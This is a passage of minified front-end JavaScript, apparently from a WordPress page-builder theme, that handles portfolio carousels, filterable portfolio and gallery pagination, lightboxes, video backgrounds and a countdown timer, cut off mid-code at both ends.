hoverGutter=$thisEl.data('hover_gutter');$thisEl.on('mouseenter',function(){$thisEl.removeClass("et_pb_gutters".concat(originalGutter));$thisEl.addClass("et_pb_gutters".concat(hoverGutter));}).on('mouseleave',function(){$thisEl.removeClass("et_pb_gutters".concat(hoverGutter));$thisEl.addClass("et_pb_gutters".concat(originalGutter));});});}// init AB Testing if enabled if(window.et_pb_custom&&window.et_pb_custom.is_ab_testing_active){$.each(et_pb_custom.ab_tests,function(index,test){et_pb_init_ab_test(test);});}if(et_all_rows.length){et_all_rows.each(function(){var $this_row=$(this);var row_class='';row_class=et_get_column_types($this_row.find('>.et_pb_column'));if(''!==row_class){$this_row.addClass(row_class);}if($this_row.find('.et_pb_row_inner').length){$this_row.find('.et_pb_row_inner').each(function(){var $this_row_inner=$(this);row_class=et_get_column_types($this_row_inner.find('.et_pb_column'));if(''!==row_class){$this_row_inner.addClass(row_class);}});}// Fix z-index for menu modules var zIndexIncreaseMax=$this_row.parents('.et_pb_section.section_has_divider').length?6:3;var zIndexShouldIncrease=isNaN($this_row.css('z-index'))||$this_row.css('z-index')<zIndexIncreaseMax;if($this_row.find('.et_pb_module.et_pb_menu').length&&zIndexShouldIncrease){$this_row.css('z-index',zIndexIncreaseMax);}});}function et_get_column_types($columns){var row_class='';if($columns.length){$columns.each(function(){var $column=$(this);var column_type=$column.attr('class').split('et_pb_column_')[1];var column_type_clean=typeof column_type!=='undefined'?column_type.split(' ',1)[0]:'4_4';var column_type_updated=column_type_clean.replace('_','-').trim();row_class+="_".concat(column_type_updated);});if(row_class.indexOf('1-4')!==-1||row_class.indexOf('1-5_1-5')!==-1||row_class.indexOf('1-6_1-6')!==-1){switch(row_class){case'_1-4_1-4_1-4_1-4':row_class='et_pb_row_4col';break;case'_1-5_1-5_1-5_1-5_1-5':row_class='et_pb_row_5col';break;case'_1-6_1-6_1-6_1-6_1-6_1-6':row_class='et_pb_row_6col';break;default:row_class="et_pb_row".concat(row_class);}}else{row_class='';}}return row_class;}window.et_pb_init_nav_menu($et_top_menu);$et_sticky_image.each(function(){window.et_pb_apply_sticky_image_effect($(this));});if(et_is_mobile_device){$('.et_pb_section_video_bg').each(function(){var $this_el=$(this);$this_el.closest('.et_pb_preload').removeClass('et_pb_preload');// Only remove when it has opened class. if($this_el.hasClass('opened')){$this_el.remove();}});$('body').addClass('et_mobile_device');if(!et_is_ipad){$('body').addClass('et_mobile_device_not_ipad');}}if(et_is_ie9){$('body').addClass('et_ie9');}if($et_pb_video_section.length||_utils.isBuilder){window.et_pb_video_section_init=function($et_pb_video_section){$et_pb_video_section.find('video').mediaelementplayer({pauseOtherPlayers:false,success:function success(mediaElement,domObject){mediaElement.addEventListener('loadeddata',function(){et_pb_resize_section_video_bg($(domObject));et_pb_center_video($(domObject).closest('.mejs-video'));},false);mediaElement.addEventListener('canplay',function(){$(domObject).closest('.et_pb_preload').removeClass('et_pb_preload');},false);}});};$et_pb_video_section.length>0&&et_pb_video_section_init($et_pb_video_section);}et_init_audio_modules();if(!isBlockLayoutPreview&&$et_post_gallery.length>0){// swipe support in magnific popup only if gallery exists var magnificPopup=$.magnificPopup.instance;$('body').on('swiperight','.mfp-container',function(){magnificPopup.prev();});$('body').on('swipeleft','.mfp-container',function(){magnificPopup.next();});$et_post_gallery.each(function(){$(this).magnificPopup({delegate:'.et_pb_gallery_image a',type:'image',removalDelay:500,gallery:{enabled:true,navigateByImgClick:true},mainClass:'mfp-fade',zoom:{enabled:window.et_pb_custom&&!window.et_pb_custom.is_builder_plugin_used,duration:500,opener:function opener(element){return element.find('img');}},autoFocusLast:false});});// prevent attaching of any further actions on click $et_post_gallery.find('a').off('click');}if(!isBlockLayoutPreview&&($et_lightbox_image.length>0||_utils.isBuilder)){// prevent attaching of any further actions on click $et_lightbox_image.off('click');$et_lightbox_image.on('click');window.et_pb_image_lightbox_init=function($et_lightbox_image){// Delay the initialization if magnificPopup hasn't finished loading yet. if(!$et_lightbox_image.magnificPopup){return jQuery(window).on('load',function(){window.et_pb_image_lightbox_init($et_lightbox_image);});}$et_lightbox_image.magnificPopup({type:'image',removalDelay:500,mainClass:'mfp-fade',zoom:{enabled:window.et_pb_custom&&!window.et_pb_custom.is_builder_plugin_used,duration:500,opener:function opener(element){return element.find('img');}},autoFocusLast:false});};et_pb_image_lightbox_init($et_lightbox_image);}if($et_pb_slider.length||_utils.isBuilder){$et_pb_slider.each(function(){var $this_slider=$(this);et_pb_slider_init($this_slider);});}$et_pb_carousel=$('.et_pb_carousel');if($et_pb_carousel.length||_utils.isBuilder){$et_pb_carousel.each(function(){var $this_carousel=$(this);var et_carousel_settings={slide_duration:1000};$this_carousel.et_pb_simple_carousel(et_carousel_settings);});}if(grid_containers.length||_utils.isBuilder){$(grid_containers).each(function(){window.et_pb_set_responsive_grid($(this),'.et_pb_grid_item');});}function fullwidth_portfolio_carousel_slide($arrow){var $the_portfolio=$arrow.parents('.et_pb_fullwidth_portfolio');var $portfolio_items=$the_portfolio.find('.et_pb_portfolio_items');var $the_portfolio_items=$portfolio_items.find('.et_pb_portfolio_item');var $active_carousel_group=$portfolio_items.find('.et_pb_carousel_group.active');var slide_duration=700;var items=$portfolio_items.data('items');var columns=$portfolio_items.data('portfolio-columns');var item_width=$active_carousel_group.innerWidth()/columns;var original_item_width="".concat(100/columns,"%");if('undefined'===typeof items){return;}if($the_portfolio.data('carouseling')){return;}$the_portfolio.data('carouseling',true);$active_carousel_group.children().each(function(){$(this).css({width:"".concat(item_width+1,"px"),'max-width':"".concat(item_width,"px"),position:'absolute',left:"".concat(item_width*($(this).data('position')-1),"px")});});if($arrow.hasClass('et-pb-arrow-next')){var $next_carousel_group;var current_position=1;var next_position=1;var active_items_start=items.indexOf($active_carousel_group.children().first()[0]);var active_items_end=active_items_start+columns;var next_items_start=active_items_end;var next_items_end=next_items_start+columns;var active_carousel_width=$active_carousel_group.innerWidth();$next_carousel_group=$('<div class="et_pb_carousel_group next" style="display: none;left: 100%;position: absolute;top: 0;">').insertAfter($active_carousel_group);$next_carousel_group.css({width:"".concat(active_carousel_width,"px"),'max-width':"".concat(active_carousel_width,"px")}).show();// this is an endless loop, so it can decide internally when to break out, so that next_position // can get filled up, even to the extent of an element having both and current_ and next_ position for(var x=0,total=0;;x++,total++){if(total>=active_items_start&&total<active_items_end){$(items[x]).addClass("changing_position current_position current_position_".concat(current_position));$(items[x]).data('current_position',current_position);current_position++;}if(total>=next_items_start&&total<next_items_end){$(items[x]).data('next_position',next_position);$(items[x]).addClass("changing_position next_position next_position_".concat(next_position));if(!$(items[x]).hasClass('current_position')){$(items[x]).addClass('container_append');}else{$(items[x]).clone(true).appendTo($active_carousel_group).hide().addClass('delayed_container_append_dup').attr('id',"".concat($(items[x]).attr('id'),"-dup"));$(items[x]).addClass('delayed_container_append');}next_position++;}if(next_position>columns){break;}if(x>=items.length-1){x=-1;}}var sorted=$portfolio_items.find('.container_append, .delayed_container_append_dup').sort(function(a,b){var el_a_position=parseInt($(a).data('next_position'));var el_b_position=parseInt($(b).data('next_position'));return el_a_position<el_b_position?-1:el_a_position>el_b_position?1:0;});$(sorted).show().appendTo($next_carousel_group);$next_carousel_group.children().each(function(){$(this).css({width:"".concat(item_width,"px"),'max-width':"".concat(item_width,"px"),position:'absolute',left:"".concat(item_width*($(this).data('next_position')-1),"px")});});$active_carousel_group.animate({left:'-100%'},{duration:slide_duration,complete:function complete(){$portfolio_items.find('.delayed_container_append').each(function(){$(this).css({width:"".concat(item_width,"px"),'max-width':"".concat(item_width,"px"),position:'absolute',left:"".concat(item_width*($(this).data('next_position')-1),"px")});$(this).appendTo($next_carousel_group);});$active_carousel_group.removeClass('active');$active_carousel_group.children().each(function(){var position=$(this).data('position');current_position=$(this).data('current_position');$(this).removeClass("position_".concat(position," ")+"changing_position current_position current_position_".concat(current_position));$(this).data('position','');$(this).data('current_position','');$(this).hide();$(this).css({position:'',width:'','max-width':'',left:''});$(this).appendTo($portfolio_items);});$active_carousel_group.remove();et_carousel_auto_rotate($the_portfolio);}});$next_carousel_group.addClass('active').css({position:'absolute',top:'0px',left:'100%'});$next_carousel_group.animate({left:'0%'},{duration:slide_duration,complete:function complete(){setTimeout(function(){$next_carousel_group.removeClass('next').addClass('active').css({position:'',width:'','max-width':'',top:'',left:''});$next_carousel_group.find('.delayed_container_append_dup').remove();$next_carousel_group.find('.changing_position').each(function(index){var position=$(this).data('position');current_position=$(this).data('current_position');next_position=$(this).data('next_position');$(this).removeClass("container_append delayed_container_append position_".concat(position," ")+"changing_position current_position current_position_".concat(current_position," next_position next_position_").concat(next_position));$(this).data('current_position','');$(this).data('next_position','');$(this).data('position',index+1);});$portfolio_items.find('.et_pb_portfolio_item').removeClass('first_in_row last_in_row');et_pb_set_responsive_grid($portfolio_items,'.et_pb_portfolio_item:visible');$next_carousel_group.children().css({position:'',width:original_item_width,'max-width':original_item_width,left:''});$the_portfolio.data('carouseling',false);},100);}});}else{var $prev_carousel_group;var current_position=columns;var prev_position=columns;var columns_span=columns-1;var active_items_start=items.indexOf($active_carousel_group.children().last()[0]);var active_items_end=active_items_start-columns_span;var prev_items_start=active_items_end-1;var prev_items_end=prev_items_start-columns_span;var active_carousel_width=$active_carousel_group.innerWidth();$prev_carousel_group=$('<div class="et_pb_carousel_group prev" style="display: none;left: 100%;position: absolute;top: 0;">').insertBefore($active_carousel_group);$prev_carousel_group.css({left:"-".concat(active_carousel_width,"px"),width:"".concat(active_carousel_width,"px"),'max-width':"".concat(active_carousel_width,"px")}).show();// this is an endless loop, so it can decide internally when to break out, so that next_position // can get filled up, even to the extent of an element having both and current_ and next_ position for(var _x2=items.length-1,_total2=items.length-1;;_x2--,_total2--){if(_total2<=active_items_start&&_total2>=active_items_end){$(items[_x2]).addClass("changing_position current_position current_position_".concat(current_position));$(items[_x2]).data('current_position',current_position);current_position--;}if(_total2<=prev_items_start&&_total2>=prev_items_end){$(items[_x2]).data('prev_position',prev_position);$(items[_x2]).addClass("changing_position prev_position prev_position_".concat(prev_position));if(!$(items[_x2]).hasClass('current_position')){$(items[_x2]).addClass('container_append');}else{$(items[_x2]).clone(true).appendTo($active_carousel_group).addClass('delayed_container_append_dup').attr('id',"".concat($(items[_x2]).attr('id'),"-dup"));$(items[_x2]).addClass('delayed_container_append');}prev_position--;}if(prev_position<=0){break;}if(0==_x2){_x2=items.length;}}var _sorted=$portfolio_items.find('.container_append, .delayed_container_append_dup').sort(function(a,b){var el_a_position=parseInt($(a).data('prev_position'));var el_b_position=parseInt($(b).data('prev_position'));return el_a_position<el_b_position?-1:el_a_position>el_b_position?1:0;});$(_sorted).show().appendTo($prev_carousel_group);$prev_carousel_group.children().each(function(){$(this).css({width:"".concat(item_width,"px"),'max-width':"".concat(item_width,"px"),position:'absolute',left:"".concat(item_width*($(this).data('prev_position')-1),"px")});});$active_carousel_group.animate({left:'100%'},{duration:slide_duration,complete:function complete(){$portfolio_items.find('.delayed_container_append').reverse().each(function(){$(this).css({width:"".concat(item_width,"px"),'max-width':"".concat(item_width,"px"),position:'absolute',left:"".concat(item_width*($(this).data('prev_position')-1),"px")});$(this).prependTo($prev_carousel_group);});$active_carousel_group.removeClass('active');$active_carousel_group.children().each(function(){var position=$(this).data('position');current_position=$(this).data('current_position');$(this).removeClass("position_".concat(position," ")+"changing_position current_position current_position_".concat(current_position));$(this).data('position','');$(this).data('current_position','');$(this).hide();$(this).css({position:'',width:'','max-width':'',left:''});$(this).appendTo($portfolio_items);});$active_carousel_group.remove();}});$prev_carousel_group.addClass('active').css({position:'absolute',top:'0px',left:'-100%'});$prev_carousel_group.animate({left:'0%'},{duration:slide_duration,complete:function complete(){setTimeout(function(){$prev_carousel_group.removeClass('prev').addClass('active').css({position:'',width:'','max-width':'',top:'',left:''});$prev_carousel_group.find('.delayed_container_append_dup').remove();$prev_carousel_group.find('.changing_position').each(function(index){var position=$(this).data('position');current_position=$(this).data('current_position');prev_position=$(this).data('prev_position');$(this).removeClass("container_append delayed_container_append position_".concat(position," ")+"changing_position current_position current_position_".concat(current_position," prev_position prev_position_").concat(prev_position));$(this).data('current_position','');$(this).data('prev_position','');position=index+1;$(this).data('position',position);$(this).addClass("position_".concat(position));});$portfolio_items.find('.et_pb_portfolio_item').removeClass('first_in_row last_in_row');et_pb_set_responsive_grid($portfolio_items,'.et_pb_portfolio_item:visible');$prev_carousel_group.children().css({position:'',width:original_item_width,'max-width':original_item_width,left:''});$the_portfolio.data('carouseling',false);},100);}});}}function set_fullwidth_portfolio_columns($the_portfolio,carousel_mode){var columns;var $portfolio_items=$the_portfolio.find('.et_pb_portfolio_items');var portfolio_items_width=$portfolio_items.width();var $the_portfolio_items=$portfolio_items.find('.et_pb_portfolio_item');var portfolio_item_count=$the_portfolio_items.length;if('undefined'===typeof $the_portfolio_items){return;}// calculate column breakpoints if(portfolio_items_width>=1600){columns=5;}else if(portfolio_items_width>=1024){columns=4;}else if(portfolio_items_width>=768){columns=3;}else if(portfolio_items_width>=480){columns=2;}else{columns=1;}// set height of items var portfolio_item_width=portfolio_items_width/columns;var portfolio_item_height=portfolio_item_width*0.75;if(carousel_mode){$portfolio_items.css({height:"".concat(portfolio_item_height,"px")});}$the_portfolio_items.css({height:"".concat(portfolio_item_height,"px")});if(columns===$portfolio_items.data('portfolio-columns')){return;}if($the_portfolio.data('columns_setting_up')){return;}$the_portfolio.data('columns_setting_up',true);var portfolio_item_width_percentage="".concat(100/columns,"%");$the_portfolio_items.css({width:portfolio_item_width_percentage,'max-width':portfolio_item_width_percentage});// store last setup column $portfolio_items.removeClass("columns-".concat($portfolio_items.data('portfolio-columns')));$portfolio_items.addClass("columns-".concat(columns));$portfolio_items.data('portfolio-columns',columns);if(!carousel_mode){return $the_portfolio.data('columns_setting_up',false);}// kill all previous groups to get ready to re-group if($portfolio_items.find('.et_pb_carousel_group').length){$the_portfolio_items.appendTo($portfolio_items);$portfolio_items.find('.et_pb_carousel_group').remove();}// setup the grouping var the_portfolio_items=$portfolio_items.data('items');var $carousel_group=$('<div class="et_pb_carousel_group active">').appendTo($portfolio_items);if('undefined'===typeof the_portfolio_items){return;}$the_portfolio_items.data('position','');if(the_portfolio_items.length<=columns){$portfolio_items.find('.et-pb-slider-arrows').hide();}else{$portfolio_items.find('.et-pb-slider-arrows').show();}for(var position=1,x=0;x<the_portfolio_items.length;x++,position++){if(x<columns){$(the_portfolio_items[x]).show();$(the_portfolio_items[x]).appendTo($carousel_group);$(the_portfolio_items[x]).data('position',position);$(the_portfolio_items[x]).addClass("position_".concat(position));}else{position=$(the_portfolio_items[x]).data('position');$(the_portfolio_items[x]).removeClass("position_".concat(position));$(the_portfolio_items[x]).data('position','');$(the_portfolio_items[x]).hide();}}$the_portfolio.data('columns_setting_up',false);}function et_carousel_auto_rotate($carousel){if('on'===$carousel.data('auto-rotate')&&$carousel.find('.et_pb_portfolio_item').length>$carousel.find('.et_pb_carousel_group .et_pb_portfolio_item').length&&!$carousel.hasClass('et_carousel_hovered')){var et_carousel_timer=setTimeout(function(){fullwidth_portfolio_carousel_slide($carousel.find('.et-pb-arrow-next'));},$carousel.data('auto-rotate-speed'));$carousel.data('et_carousel_timer',et_carousel_timer);}}if($et_pb_fullwidth_portfolio.length||_utils.isBuilder){window.et_fullwidth_portfolio_init=function($the_portfolio,$callback){var $portfolio_items=$the_portfolio.find('.et_pb_portfolio_items');$portfolio_items.data('items',$portfolio_items.find('.et_pb_portfolio_item').toArray());$the_portfolio.data('columns_setting_up',false);if($the_portfolio.hasClass('et_pb_fullwidth_portfolio_carousel')){// add left and right arrows $portfolio_items.prepend("".concat('<div class="et-pb-slider-arrows"><a class="et-pb-arrow-prev" href="#">'+'<span>').concat(et_pb_custom.previous,"</span>")+'</a><a class="et-pb-arrow-next" href="#">'+"<span>".concat(et_pb_custom.next,"</span>")+'</a></div>');set_fullwidth_portfolio_columns($the_portfolio,true);et_carousel_auto_rotate($the_portfolio);// swipe support $the_portfolio.on('swiperight',function(){$(this).find('.et-pb-arrow-prev').trigger('click');});$the_portfolio.on('swipeleft',function(){$(this).find('.et-pb-arrow-next').trigger('click');});$the_portfolio.on('mouseenter',function(){$(this).addClass('et_carousel_hovered');if(typeof $(this).data('et_carousel_timer')!=='undefined'){clearInterval($(this).data('et_carousel_timer'));}}).on('mouseleave',function(){$(this).removeClass('et_carousel_hovered');et_carousel_auto_rotate($(this));});$the_portfolio.data('carouseling',false);$the_portfolio.on('click','.et-pb-slider-arrows a',function(e){fullwidth_portfolio_carousel_slide($(this));e.preventDefault();return false;});}else{// setup fullwidth portfolio grid set_fullwidth_portfolio_columns($the_portfolio,false);}if('function'===typeof $callback){$callback();}};$et_pb_fullwidth_portfolio.each(function(){et_fullwidth_portfolio_init($(this));});}if($('.et_pb_section_video').length){window._wpmejsSettings.pauseOtherPlayers=false;}if($et_pb_filterable_portfolio.length||_utils.isBuilder){var set_filterable_portfolio_hash=function set_filterable_portfolio_hash($the_portfolio){if(!$the_portfolio.attr('id')){return;}var this_portfolio_state=[];this_portfolio_state.push($the_portfolio.attr('id'));this_portfolio_state.push($the_portfolio.find('.et_pb_portfolio_filter > a.active').data('category-slug'));if($the_portfolio.find('.et_pb_portofolio_pagination a.active').length){this_portfolio_state.push($the_portfolio.find('.et_pb_portofolio_pagination a.active').data('page'));}else{this_portfolio_state.push(1);}this_portfolio_state=this_portfolio_state.join(et_hash_module_param_seperator);et_set_hash(this_portfolio_state);};// init portfolio if .on('load') event was fired already, wait for the window load otherwise. window.et_pb_filterable_portfolio_init=function($selector){if(typeof $selector!=='undefined'){set_filterable_portfolio_init($selector);}else{$et_pb_filterable_portfolio.each(function(){set_filterable_portfolio_init($(this));});}};window.set_filterable_portfolio_init=function($the_portfolio,$callback){var $the_portfolio_items=$the_portfolio.find('.et_pb_portfolio_items');var all_portfolio_items=$the_portfolio_items.clone();// cache for all the portfolio items $the_portfolio.show();$the_portfolio.find('.et_pb_portfolio_item').addClass('active');$the_portfolio.css('display','block');window.set_filterable_grid_items($the_portfolio);if('function'===typeof $callback){$callback();}$the_portfolio.on('click','.et_pb_portfolio_filter a',function(e){e.preventDefault();var category_slug=$(this).data('category-slug');var $the_portfolio=$(this).parents('.et_pb_filterable_portfolio');var $the_portfolio_items=$the_portfolio.find('.et_pb_portfolio_items');if('all'==category_slug){$the_portfolio.find('.et_pb_portfolio_filter a').removeClass('active');$the_portfolio.find('.et_pb_portfolio_filter_all a').addClass('active');// remove all items from the portfolio items container $the_portfolio_items.empty();// fill the portfolio items container with cached items from memory $the_portfolio_items.append(all_portfolio_items.find('.et_pb_portfolio_item').clone());$the_portfolio.find('.et_pb_portfolio_item').addClass('active');}else{$the_portfolio.find('.et_pb_portfolio_filter_all').removeClass('active');$the_portfolio.find('.et_pb_portfolio_filter a').removeClass('active');$the_portfolio.find('.et_pb_portfolio_filter_all a').removeClass('active');$(this).addClass('active');// remove all items from the portfolio items container $the_portfolio_items.empty();// fill the portfolio items container with cached items from memory $the_portfolio_items.append(all_portfolio_items.find(".et_pb_portfolio_item.project_category_".concat($(this).data('category-slug'))).clone());$the_portfolio_items.find('.et_pb_portfolio_item').removeClass('active');$the_portfolio_items.find(".et_pb_portfolio_item.project_category_".concat($(this).data('category-slug'))).addClass('active').removeClass('inactive');}window.set_filterable_grid_items($the_portfolio);setTimeout(function(){set_filterable_portfolio_hash($the_portfolio);},500);$the_portfolio.find('.et_pb_portfolio_item').removeClass('first_in_row last_in_row');et_pb_set_responsive_grid($the_portfolio,'.et_pb_portfolio_item:visible');});$the_portfolio.on('click','.et_pb_portofolio_pagination a',function(e){e.preventDefault();var to_page=$(this).data('page');var $the_portfolio=$(this).parents('.et_pb_filterable_portfolio');var $the_portfolio_items=$the_portfolio.find('.et_pb_portfolio_items');et_pb_smooth_scroll($the_portfolio,false,800);if($(this).hasClass('page-prev')){to_page=parseInt($(this).parents('ul').find('a.active').data('page'))-1;}else if($(this).hasClass('page-next')){to_page=parseInt($(this).parents('ul').find('a.active').data('page'))+1;}$(this).parents('ul').find('a').removeClass('active');$(this).parents('ul').find("a.page-".concat(to_page)).addClass('active');var current_index=$(this).parents('ul').find("a.page-".concat(to_page)).parent().index();var total_pages=$(this).parents('ul').find('li.page').length;$(this).parent().nextUntil(".page-".concat(current_index+3)).show();$(this).parent().prevUntil(".page-".concat(current_index-3)).show();$(this).parents('ul').find('li.page').each(function(i){if(!$(this).hasClass('prev')&&!$(this).hasClass('next')){if(i<current_index-3){$(this).hide();}else if(i>current_index+1){$(this).hide();}else{$(this).show();}if(total_pages-current_index<=2&&total_pages-i<=5){$(this).show();}else if(current_index<=3&&i<=4){$(this).show();}}});if(to_page>1){$(this).parents('ul').find('li.prev').show();}else{$(this).parents('ul').find('li.prev').hide();}if($(this).parents('ul').find('a.active').hasClass('last-page')){$(this).parents('ul').find('li.next').hide();}else{$(this).parents('ul').find('li.next').show();}$the_portfolio.find('.et_pb_portfolio_item').hide();$the_portfolio.find('.et_pb_portfolio_item').filter(function(index){return $(this).data('page')===to_page;}).show();window.et_pb_set_responsive_grid($the_portfolio.find('.et_pb_portfolio_items'),'.et_pb_portfolio_item');setTimeout(function(){set_filterable_portfolio_hash($the_portfolio);},500);$the_portfolio.find('.et_pb_portfolio_item').removeClass('first_in_row last_in_row');et_pb_set_responsive_grid($the_portfolio,'.et_pb_portfolio_item:visible');});$(this).on('et_hashchange',function(event){var params=event.params;$the_portfolio=$("#".concat(event.target.id));if(!$the_portfolio.find(".et_pb_portfolio_filter a[data-category-slug=\"".concat(params[0],"\"]")).hasClass('active')){$the_portfolio.find(".et_pb_portfolio_filter a[data-category-slug=\"".concat(params[0],"\"]")).trigger('click');}if(params[1]){setTimeout(function(){if(!$the_portfolio.find(".et_pb_portofolio_pagination a.page-".concat(params[1])).hasClass('active')){$the_portfolio.find(".et_pb_portofolio_pagination a.page-".concat(params[1])).addClass('active').trigger('click');}},300);}});};window.set_filterable_grid_items=function($the_portfolio){var active_category=$the_portfolio.find('.et_pb_portfolio_filter > a.active').data('category-slug');var $the_portfolio_visible_items;window.et_pb_set_responsive_grid($the_portfolio.find('.et_pb_portfolio_items'),'.et_pb_portfolio_item');if('all'===active_category){$the_portfolio_visible_items=$the_portfolio.find('.et_pb_portfolio_item');}else{$the_portfolio_visible_items=$the_portfolio.find(".et_pb_portfolio_item.project_category_".concat(active_category));}var visible_grid_items=$the_portfolio_visible_items.length;var posts_number=$the_portfolio.data('posts-number');var pages=0===posts_number?1:Math.ceil(visible_grid_items/posts_number);window.set_filterable_grid_pages($the_portfolio,pages);var visible_grid_items=0;var _page=1;$the_portfolio.find('.et_pb_portfolio_item').data('page','');$the_portfolio_visible_items.each(function(i){visible_grid_items++;if(0===parseInt(visible_grid_items%posts_number)){$(this).data('page',_page);_page++;}else{$(this).data('page',_page);}});$the_portfolio_visible_items.filter(function(){return 1==$(this).data('page');}).show();$the_portfolio_visible_items.filter(function(){return $(this).data('page')!=1;}).hide();};window.set_filterable_grid_pages=function($the_portfolio,pages){var $pagination=$the_portfolio.find('.et_pb_portofolio_pagination');if(!$pagination.length){return;}$pagination.html('<ul></ul>');if(pages<=1){return;}var $pagination_list=$pagination.children('ul');$pagination_list.append("<li class=\"prev\" style=\"display:none;\"><a href=\"#\" data-page=\"prev\" class=\"page-prev\">".concat(et_pb_custom.prev,"</a></li>"));for(var page=1;page<=pages;page++){var first_page_class=1===page?' active':'';var last_page_class=page===pages?' last-page':'';var hidden_page_class=page>=5?' style="display:none;"':'';$pagination_list.append("<li".concat(hidden_page_class," class=\"page page-").concat(page,"\"><a href=\"#\" data-page=\"").concat(page,"\" class=\"page-").concat(page).concat(first_page_class).concat(last_page_class,"\">").concat(page,"</a></li>"));}$pagination_list.append("<li class=\"next\"><a href=\"#\" data-page=\"next\" class=\"page-next\">".concat(et_pb_custom.next,"</a></li>"));};if(window.et_load_event_fired){et_pb_filterable_portfolio_init();}else{$(window).on('load',function(){et_pb_filterable_portfolio_init();});// End $(window).on('load') }}/* end if ( $et_pb_filterable_portfolio.length ) */if($et_pb_gallery.length||_utils.isBuilder){window.set_gallery_grid_items=function($the_gallery){var $the_gallery_items_container=$the_gallery.find('.et_pb_gallery_items');var $the_gallery_items=$the_gallery_items_container.find('.et_pb_gallery_item');var total_grid_items=$the_gallery_items.length;var posts_number_original=parseInt($the_gallery_items_container.attr('data-per_page'));var posts_number=isNaN(posts_number_original)||0===posts_number_original?4:posts_number_original;var pages=Math.ceil(total_grid_items/posts_number);window.et_pb_set_responsive_grid($the_gallery_items_container,'.et_pb_gallery_item');set_gallery_grid_pages($the_gallery,pages);var total_grid_items=0;var _page=1;$the_gallery_items.data('page','');$the_gallery_items.each(function(i){total_grid_items++;// Do some caching var $this=$(this);if(0===parseInt(total_grid_items%posts_number)){$this.data('page',_page);_page++;}else{$this.data('page',_page);}});var visible_items=$the_gallery_items.filter(function(){return 1==$(this).data('page');}).show();$the_gallery_items.filter(function(){return $(this).data('page')!=1;}).hide();};window.set_gallery_grid_pages=function($the_gallery,pages){var $pagination=$the_gallery.find('.et_pb_gallery_pagination');if(!$pagination.length){return;}$pagination.html('<ul></ul>');if(pages<=1){$pagination.hide();return;}var $pagination_list=$pagination.children('ul');$pagination_list.append("<li class=\"prev\" style=\"display:none;\"><a href=\"#\" data-page=\"prev\" class=\"page-prev\">".concat(et_pb_custom.prev,"</a></li>"));for(var page=1;page<=pages;page++){var first_page_class=1===page?' active':'';var last_page_class=page===pages?' last-page':'';var hidden_page_class=page>=5?' style="display:none;"':'';$pagination_list.append("<li".concat(hidden_page_class," class=\"page page-").concat(page,"\"><a href=\"#\" data-page=\"").concat(page,"\" class=\"page-").concat(page).concat(first_page_class).concat(last_page_class,"\">").concat(page,"</a></li>"));}$pagination_list.append("<li class=\"next\"><a href=\"#\" data-page=\"next\" class=\"page-next\">".concat(et_pb_custom.next,"</a></li>"));};window.set_gallery_hash=function($the_gallery){if(!$the_gallery.attr('id')){return;}var this_gallery_state=[];this_gallery_state.push($the_gallery.attr('id'));if($the_gallery.find('.et_pb_gallery_pagination a.active').length){this_gallery_state.push($the_gallery.find('.et_pb_gallery_pagination a.active').data('page'));}else{this_gallery_state.push(1);}this_gallery_state=this_gallery_state.join(et_hash_module_param_seperator);et_set_hash(this_gallery_state);};window.et_pb_gallery_init=function($the_gallery){if($the_gallery.hasClass('et_pb_gallery_grid')){$the_gallery.show();set_gallery_grid_items($the_gallery);$the_gallery.on('et_hashchange',function(event){var params=event.params;$the_gallery=$("#".concat(event.target.id));var page_to=params[0];if(page_to){if(!$the_gallery.find(".et_pb_gallery_pagination a.page-".concat(page_to)).hasClass('active')){$the_gallery.find(".et_pb_gallery_pagination a.page-".concat(page_to)).addClass('active').trigger('click');}}});}};$et_pb_gallery.each(function(){var $the_gallery=$(this);et_pb_gallery_init($the_gallery);});$et_pb_gallery.data('paginating',false);window.et_pb_gallery_pagination_nav=function($the_gallery){$the_gallery.on('click','.et_pb_gallery_pagination a',function(e){e.preventDefault();var to_page=$(this).data('page');var $the_gallery=$(this).parents('.et_pb_gallery');var $the_gallery_items_container=$the_gallery.find('.et_pb_gallery_items');var $the_gallery_items=$the_gallery_items_container.find('.et_pb_gallery_item');if($the_gallery.data('paginating')){return;}$the_gallery.data('paginating',true);if($(this).hasClass('page-prev')){to_page=parseInt($(this).parents('ul').find('a.active').data('page'))-1;}else if($(this).hasClass('page-next')){to_page=parseInt($(this).parents('ul').find('a.active').data('page'))+1;}$(this).parents('ul').find('a').removeClass('active');$(this).parents('ul').find("a.page-".concat(to_page)).addClass('active');var current_index=$(this).parents('ul').find("a.page-".concat(to_page)).parent().index();var total_pages=$(this).parents('ul').find('li.page').length;$(this).parent().nextUntil(".page-".concat(current_index+3)).show();$(this).parent().prevUntil(".page-".concat(current_index-3)).show();$(this).parents('ul').find('li.page').each(function(i){if(!$(this).hasClass('prev')&&!$(this).hasClass('next')){if(i<current_index-3){$(this).hide();}else if(i>current_index+1){$(this).hide();}else{$(this).show();}if(total_pages-current_index<=2&&total_pages-i<=5){$(this).show();}else if(current_index<=3&&i<=4){$(this).show();}}});if(to_page>1){$(this).parents('ul').find('li.prev').show();}else{$(this).parents('ul').find('li.prev').hide();}if($(this).parents('ul').find('a.active').hasClass('last-page')){$(this).parents('ul').find('li.next').hide();}else{$(this).parents('ul').find('li.next').show();}$the_gallery_items.hide();var visible_items=$the_gallery_items.filter(function(index){return $(this).data('page')===to_page;}).show();$the_gallery.data('paginating',false);window.et_pb_set_responsive_grid($the_gallery_items_container,'.et_pb_gallery_item');setTimeout(function(){set_gallery_hash($the_gallery);},100);});};et_pb_gallery_pagination_nav($et_pb_gallery);// Frontend builder's interface wouldn't be able to use $et_pb_gallery as selector // due to its react component's nature. Using more global selector works. if(_utils.isBuilder){et_pb_gallery_pagination_nav($('#et-fb-app'));}}/* end if ( $et_pb_gallery.length ) */if($et_pb_counter_amount.length){$et_pb_counter_amount.each(function(){window.et_bar_counters_init($(this));});}/* $et_pb_counter_amount.length */window.et_countdown_timer=function(timer){var end_date=parseInt(timer.attr('data-end-timestamp'));var current_date=new Date().getTime()/1000;var seconds_left=end_date-current_date;var days=parseInt(seconds_left/86400);days=days>0?days:0;seconds_left%=86400;var hours=parseInt(seconds_left/3600);hours=hours>0?hours:0;seconds_left%=3600;var minutes=parseInt(seconds_left/60);minutes=minutes>0?minutes:0;var seconds=parseInt(seconds_left%60);seconds=seconds>0?seconds:0;var $days_section=timer.find('.days > .value').parent('.section');var $hours_section=timer.find('.hours > .value').parent('.section');var $minutes_section=timer.find('.minutes > .value').parent('.section');var $seconds_section=timer.find('.seconds > .value').parent('.section');if(0==days){if(!$days_section.hasClass('zero')){timer.find('.days > 